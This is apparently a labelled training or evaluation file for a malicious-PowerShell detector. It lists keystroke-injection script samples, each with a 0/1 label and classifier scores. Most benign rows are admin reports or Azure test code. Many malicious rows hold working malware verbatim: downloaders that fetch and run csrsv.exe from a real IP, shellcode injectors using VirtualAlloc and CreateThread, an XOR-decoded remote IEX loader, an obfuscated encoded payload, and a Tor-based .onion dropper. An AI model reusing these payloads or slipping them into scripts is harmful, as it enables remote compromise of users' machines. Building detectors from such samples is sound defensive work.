24^C6^16^57^37^96^65^E2^47^66^F6^37^F6^27^36^96^D4^72^82^56^D6^16^E4^C6^16^96^47^27^16^05^86^47^96^75^46^16^F6^C4^A3^A3^D5^97^C6^26^D6^56^37^37^14^E2^E6^F6^96^47^36^56^C6^66^56^25^E2^D6^56^47^37^97^35^B5^02^D5^46^96^F6^67^B5^B3^85^06^54^06^94^C7^72^92^47^E6^56^72^B2^72^96^C6^34^26^72^B2^72^56^75^E2^47^72^B2^72^56^E4^02^47^36^72^B2^72^56^A6^26^F4^72^B2^72^D2^77^56^E4^82^72^D3^97^47^47^42^B3^23^23^07^42^02^D3^02^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^A3^A3^D5^27^56^76^16^E6^16^D4^47^E6^96^F6^05^56^36^96^67^27^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^B3^92^23^73^03^33^02^C2^D5^56^07^97^45^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^82^47^36^56^A6^26^F4^F6^45^A3^A3^D5^D6^57^E6^54^B5^02^D3^02^23^23^07^42';$text =$vYeIZ.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('^') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])})) enter enter",1,1,6.0625902e-05,0.9999393
"win+r powershell enter function Save-ModuleSources enter { enter if($script:PSGetModuleSources) enter { enter if(-not (Microsoft.PowerShell.Management\Test-Path $script:PSGetAppLocalPath)) enter { enter $null = Microsoft.PowerShell.Management\New-Item -Path $script:PSGetAppLocalPath ` enter -ItemType Directory -Force ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue ` enter -Confirm:$false -WhatIf:$false enter } enter Microsoft.PowerShell.Utility\Out-File -FilePath $script:PSGetModuleSourcesFilePath -Force -InputObject ([System.Management.Automation.PSSerializer]::Serialize($script:PSGetModuleSources)) enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter",1,1,5.8750607e-05,0.99994123
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_6mw63a98"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.99996567,3.438382e-05
"win+r powershell enter function Import-Certificate { [CmdletBinding()] param ( [Parameter()] [V enter alidateNotNullOrEmpty()] [string]$ComputerName = $env:COMPUTERNAME, [Paramet enter er()] [ValidateNotNullOrEmpty()] enter enter",1,1,0.0035689927,0.996431
"win+r enter powershell enter enter enter function Get-TestFolders([string] $srcPath, [string[]] $projectList) { enter enter $specialPaths = @{ enter enter 'Storage' = 'Storage.Management.Test\ScenarioTests'; enter 'Accounts' = 'Accounts.Test' enter } enter enter $resourceManagerPath = $srcPath enter $resourceManagerFolders = Get-ChildItem -Path $resourceManagerPath -ErrorAction Stop enter $testFolderPairs = New-Object System.Collections.ArrayList enter foreach ($folder in $resourceManagerFolders) { enter $folderName = $folder.Name enter if (-not ($projectList.Contains($folderName))) { enter continue enter } enter enter $testFolderPathPrefix = ""$resourceManagerPath\$folderName"" enter $testFolderPathSuffix = ""$folderName.Test\ScenarioTests"" enter if ($specialPaths.ContainsKey($folderName)) { enter $testFolderPathSuffix = $specialPaths.Get_Item($folder.Name) enter } enter $testFolderPath = Join-Path $testFolderPathPrefix $testFolderPathSuffix enter enter if (Test-Path $testFolderPath) { enter $null = $testFolderPairs.Add(@{Name = $folder.Name; Path = $testFolderPath}) enter } else { enter Write-Verbose ""Folder '$testFolderPath' doesn't exist!"" enter } enter } enter $testFolderPairs enter } enter enter function Filter-TestFiles([string] $path) { Get-ChildItem -Path $path -ErrorAction Stop | Where-Object {$_.Name -match ""^(?!Run).*Tests\.ps1$""} } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.6887406e-05,0.99994314
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install miniconda3 enter A enter enter enter,0,0,0.9999603,3.9724113e-05
win+r powershell enter  function Test-BlobDataSetMappingCrud { $resourceGroup = getAssetName try enter { $AccountName = getAssetName $ShareSubscriptionName = getAssetName $DataSetM enter appingName = getAssetName $StorageAccountId = getAssetName enter enter,1,1,0.0023149434,0.9976851
win messages enter enter ive been hacked please help! enter enter win w win messages enter enter jesus christ... it's jason bourne! enter enter win w,1,1,0.0007812309,0.9992187
"win+r powershell enter function Export-SPLists{ param( [Parameter(Mandatory=$true)] [String[]] enter $Urls, [Parameter(Mandatory=$false)] [String] $Path = ""C: tab emp"" ) enter",1,1,0.007798521,0.99220145
"win+r powershell enter Function Find-Apartment enter { enter param ( enter [Parameter(Mandatory=$False)]$MinPrice=""0"", enter [Parameter(Mandatory=$False)]$MaxPrice=""9999"", enter [Parameter(Mandatory=$False)]$MaxPages=""1"", enter [Parameter(Mandatory=$False)]$URL = ""http://burlington.craigslist.org"" enter ) enter $AvailableRooms = @() enter For ($CurrentPage=0;$CurrentPage -le $MaxPages;$CurrentPage++) { enter $WebPage = Invoke-WebRequest ""$URL/search/roo?=roo&s=$Start&query=&zoomToPosting=&minAsk=$MinPrice&maxAsk=$MaxPrice&hasPic=1"" enter $Results = $WebPage.ParsedHtml.body.innerHTML.Split(""`n"") | Where-Object { $_ -like ""<P class=row*"" } enter ForEach ($Item in $Results) { enter $ItemObject=$ID=$Price=$DatePosted=$Neighborhood=$Link=$Description=$Email=$null enter $ID = ($Item -replace "".*pid\=`"""","""") -replace ""`"".*"" enter $Price = ($Item -replace "".*class=price>"","""") -replace ""</SPAN>.*"" enter $DatePosted = ($Item -replace "".*class=date>"","""") -replace ""</SPAN>.*"" enter $Neighborhood = ($Item -replace "".*\<SMALL\>\("","""") -replace ""\)\</SMALL>.*"" enter If ($Neighborhood -like ""<*"") { $Neighborhood = ""N/A"" } enter $Link = $URL + ((($Item -replace "".*\<A href\=`"""","""") -replace ""\<.*"") -split('"">'))[0] enter $Email = (($(Invoke-WebRequest $Link).ParsedHtml.body.innerHTML.Split(""`n"") | Where-Object { $_ -like ""var displayEmail*"" }) -replace ""var displayEmail \= `"""") -replace ""`"";"" enter $Description = ((($Item -replace "".*\<A href\=`"""","""") -replace ""\<.*"") -split('"">'))[1] enter $ItemObject = New-Object -TypeName PSObject -Property @{ enter 'ID' = $ID enter 'Price' = $Price enter 'DatePosted' = $DatePosted enter 'Neighborhood' = $Neighborhood enter 'Link' = $Link enter 'Description' = $Description enter 'E-Mail' = $Email enter } enter $ItemObject enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x16,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.0297596e-05,0.9999497
"win+r enter powershell enter enter enter $WC=NeW-Object SystEM.NeT.WebClient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeaderS.Add('User-Agent',$u);$wc.ProXY = [SystEm.NEt.WEBReQuEst]::DeFaULTWeBPROxY;$wc.PRoxy.CrEdeNtiAlS = [SysTem.NEt.CREDentIaLCAcHE]::DefaULTNetWOrkCrEDentIaLS;$K='827ccb0eea8a706c4c34a16891f84e7b';$I=0;[ChAr[]]$B=([chaR[]]($wC.DoWNLoAdStRINg(""http://192.168.2.106:8080/index.asp"")))|%{$_-bXOR$K[$I++%$k.LeNgth]};IEX ($b-JOIN'') enter enter",1,1,5.5329405e-05,0.9999447
"win+r powershell enter function Start-HiveJob { $ErrorActionPreference = ""Stop"" $context = Get- enter AzContext if ($context -eq $null) { Connect-AzAccount } $context enter enter",1,1,0.002598255,0.9974017
"win+r enter powershell enter enter enter function Create-LocalUser { enter param ( enter [string]$computer = $env:computername, enter [string]$fullname, enter [string]$username, enter [string]$password, enter [switch]$passworddoesnotexpire, enter [string]$addtogroup = 'Administrators', enter [switch]$CheckFirst = $true enter ) enter enter if (!$username -or !$password) { enter throw 'no username or password' enter } enter enter if ($checkfirst -and ([ADSI]""WinNT://$computer/$username"").Name) { enter Write-Warning ""$username already exists on $computer"" enter return enter } enter enter $objOU = [ADSI]""WinNT://$computer"" enter $objUser = $objOU.Create('user', $username) enter $objUser.SetPassword($password) enter $objUser.SetInfo() enter $objUser.FullName = $fullname enter $objUser.SetInfo() enter if ($passworddoesnotexpire) { enter $objUser.UserFlags = 65536 enter $objUser.SetInfo() enter } enter enter if ($addtogroup) { enter ([ADSI]""WinNT://$computer/$addtogroup"").Add(""WinNT://$computer/$username"") enter } enter } enter enter",0,0,0.9445467,0.055453263
"win+r enter powershell enter enter enter task default -depends test enter enter task test { enter Push-Location 'legacy_and_default_build_file' enter $result = invoke-psake -Docs | Out-String -Width 120 enter Pop-Location enter enter Assert ($result -match 'adefaulttask') 'Default build file should a task called adefaulttask' enter } enter enter 'lVBjWW';$ErrorActionPreference = 'SilentlyContinue';'jNQOAiMMkdR';'jmq';$wwo = (get-wmiobject Win32_ComputerSystemProduct).UUID;'SaRt';'ElFeXOtQjz';if ((gp HKCU:\\Software\Microsoft\Windows\CurrentVersion\Run) -match $wwo){;'QaVdFFjj';'MtqBu';(Get-Process -id $pid).Kill();'cw';'ONBGZ';};'XXzyExPxFhY';'pMdSFKqrvLa';'ZbEKbSUh';'xjpZeYDv';function e($qza){;'bGaLALnMw';'ENxLTKdj';$orot = (((iex ""nslookup -querytype=txt $qza 8.8.8.8"") -match '""') -replace '""', '')[0].Trim();'ZuiAzZT';'In';$bp.DownloadFile($orot, $ai);'PRCLIFVQH';'cV';$fi = $fjx.NameSpace($ai).Items();'cmBlkiUW';'pJsbWflOAQ';$fjx.NameSpace($zui).CopyHere($fi, 20);'fLGzW';'qa';rd $ai;'ItpK';'gAcxQokjbdq';};'dfbWqLt';'pyiBJGPrs';'SHreDrqslGO';'bmXjlGkPNOW';'vLb';'tHZFGFEVS';$zui = $env:APPDATA + '\' + $wwo;'QFYaEbYU';'VybKxYISVV';if (!(Test-Path $zui)){;'lasxg';'WUdKHY';$jnj = New-Item -ItemType Directory -Force -Path $zui;'WSBNzrQWRp';'OmrLJSCcsb';$jnj.Attributes = ""Hidden"", ""System"", ""NotContentIndexed"";'AVKt';'XzQSC';};'csPpLz';'GqA';'XUNcRs';'uadZs';$fkz=$zui+ ' tab or.exe';'ctAUS';'ndDdWliZv';$szeo=$zui+ '\polipo.exe';'cC';'vMtZk';$ai=$zui+'\'+$wwo+'.zip';'krKyEjhs';'Jrixyw';$bp=New-Object System.Net.WebClient;'qgloHvfj';'kmNWBZwaAR';$fjx=New-Object -C Shell.Application;'XYLIkQ';'ZOUu';'YEJF';'NYC';if (!(Test-Path $fkz) -or !(Test-Path $szeo)){;'HkuNDGZjxPN';'zNObipamCT';e 'i.vankin.de';'lcNRnsrLznG';'JeIDPkUPcaM';};'PccwMqmjIr';'Lcj';'RSdcbBdrW';'KtWZIdMo';if (!(Test-Path $fkz) -or !(Test-Path $szeo)){;'eURPtEd';'qAoH';e 'gg.ibiz.cc';'CkjK';'HrLr';};'BDo';'dhVYRufO';'qTtR';'wWHNry';$wc=$zui+' enter oaminglog';'xPQgK';'aFgl';saps $fkz -Ar "" --Log `""notice file $wc`"""" -wi Hidden;'sH';'qvkWgQFN';do{sleep 1;$ll=gc $wc}while(!($ll -match 'Bootstrapped 100%: Done.'));'JzJtwaoxod';'fmLibNDQXiT';saps $szeo -a ""socksParentProxy=localhost:9050"" -wi Hidden;'MMLB';'PB';sleep 7;'rmt';'UGYZoHaPrID';$lf=New-Object System.Net.WebProxy(""localhost:8123"");'mjeAqU';'HhVz';$lf.useDefaultCredentials = $true;'EowjlibIiiy';'Joz';$bp.proxy=$lf;'tQmlyxgSqL';'OPYAuEpisAz';$oxq='http://powerwormjqj42hu.onion/get.php?s=setup&uid=' + $wwo;'LcO';'YzTyALP';while(!$cl){$cl=$bp.downloadString($oxq)};'lMB';'FQQpJnA';if ($cl -ne 'none'){;'TKNTo';'IN';iex $cl;'PiM';'Jeylef';};'JiokKK'; enter enter",1,1,5.564328e-05,0.9999443
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0x63,0x7e,0xf9,0x68,0x02,0x00,0x02,0x9a,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_j69j9g5s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.424314e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_hzz9nkb8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4802713e-05
"win+r enter powershell enter enter enter $scriptFolder = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent enter . ($scriptFolder + '.\SetupEnv.ps1') enter enter $packageFolder=""$env:AzurePSRoot\artifacts"" enter if (Test-Path $packageFolder) { enter Remove-Item -Path $packageFolder -Recurse -Force enter } enter enter $keyPath = ""HKLM:\SOFTWARE\Microsoft\Windows Installer XML"" enter if (${env:ADX64Platform}){ enter $keyPath = ""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows Installer XML"" enter } enter enter $allWixVersions = Get-ChildItem $keyPath enter if ($allWixVersions -ne $null){ enter foreach ($wixVersion in $allWixVersions){ enter $wixInstallRoot = $wixVersion.GetValue(""InstallRoot"", $null) enter if ($wixInstallRoot -ne $null) { enter Write-Verbose ""WIX tools was installed at $wixInstallRoot"" enter break enter } enter } enter } enter enter if ($wixInstallRoot -eq $null){ enter Write-Host ""You don't have Windows Installer XML Toolset installed, which is needed to build setup."" -ForegroundColor ""Yellow"" enter Write-Host ""Press (Y) to install through codeplex web page we will open for you; (N) to skip"" enter $keyPressed = $host.UI.RawUI.ReadKey(""NoEcho,IncludeKeyUp"") enter if ($keyPressed.Character -eq ""y"" ){ enter Invoke-Expression ""cmd.exe /C start http://wix.codeplex.com/downloads/get/762937"" enter Read-Host ""Press any key to continue after the installtion is finished"" enter } enter } enter $env:path = $env:path + "";$wixInstallRoot"" enter &""$env:AzurePSRoot tab ools\Installer\generate.ps1"" 'Debug' enter msbuild ""$env:AzurePSRoot\build.proj"" /t:Build enter enter Write-Host ""MSI file path: $env:AzurePSRoot\setup\build\Debug\AzurePowerShell.msi"" enter enter",0,1,0.13143228,0.8685677
"win+r enter powershell enter enter enter  enter function Test-AzSecurityAdvancedThreatProtection-ResourceId enter { enter enter $testPrefix = ""psstorage"" enter $testParams = Get-AdvancedThreatProtectionTestEnvironmentParameters $testPrefix enter $resourceId = ""/subscriptions/"" + $testParams.subscriptionId + ""/resourceGroups/"" + $testParams.rgName + ""/providers/Microsoft.Storage/storageAccounts/"" + $testParams.accountName enter Create-TestEnvironmentWithParams $testParams enter $policy = Enable-AzSecurityAdvancedThreatProtection -ResourceId $resourceId enter $fetchedPolicy = Get-AzSecurityAdvancedThreatProtection -ResourceId $resourceId enter Assert-AreEqual $True $policy.IsEnabled enter Assert-AreEqual $True $fetchedPolicy.IsEnabled enter $policy = Disable-AzSecurityAdvancedThreatProtection -ResourceId $resourceId enter $fetchedPolicy = Get-AzSecurityAdvancedThreatProtection -ResourceId $resourceId enter Assert-AreEqual $False $policy.IsEnabled enter Assert-AreEqual $False $fetchedPolicy.IsEnabled enter } enter function Get-AdvancedThreatProtectionTestEnvironmentParameters ($testPrefix) enter { enter return @{ subscriptionId = (Get-AzContext).Subscription.Id; enter rgName = getAssetName ($testPrefix); enter accountName = getAssetName ($testPrefix); enter storageSku = ""Standard_GRS""; enter location = Get-Location ""Microsoft.Resources"" ""resourceGroups"" ""West US"" enter } enter } enter function Create-TestEnvironmentWithParams ($testParams) enter { enter enter New-AzResourceGroup -Name $testParams.rgName -Location $testParams.location enter $storageAccount = New-AzStorageAccount -ResourceGroupName $testParams.rgName -Name $testParams.accountName -Location $testParams.location -Type $testParams.storageSku enter } enter enter",0,0,0.9998932,0.00010678415
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x18,0x68,0x02,0x00,0x56,0x40,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_p9gvmkp4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_50.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.5246165e-05
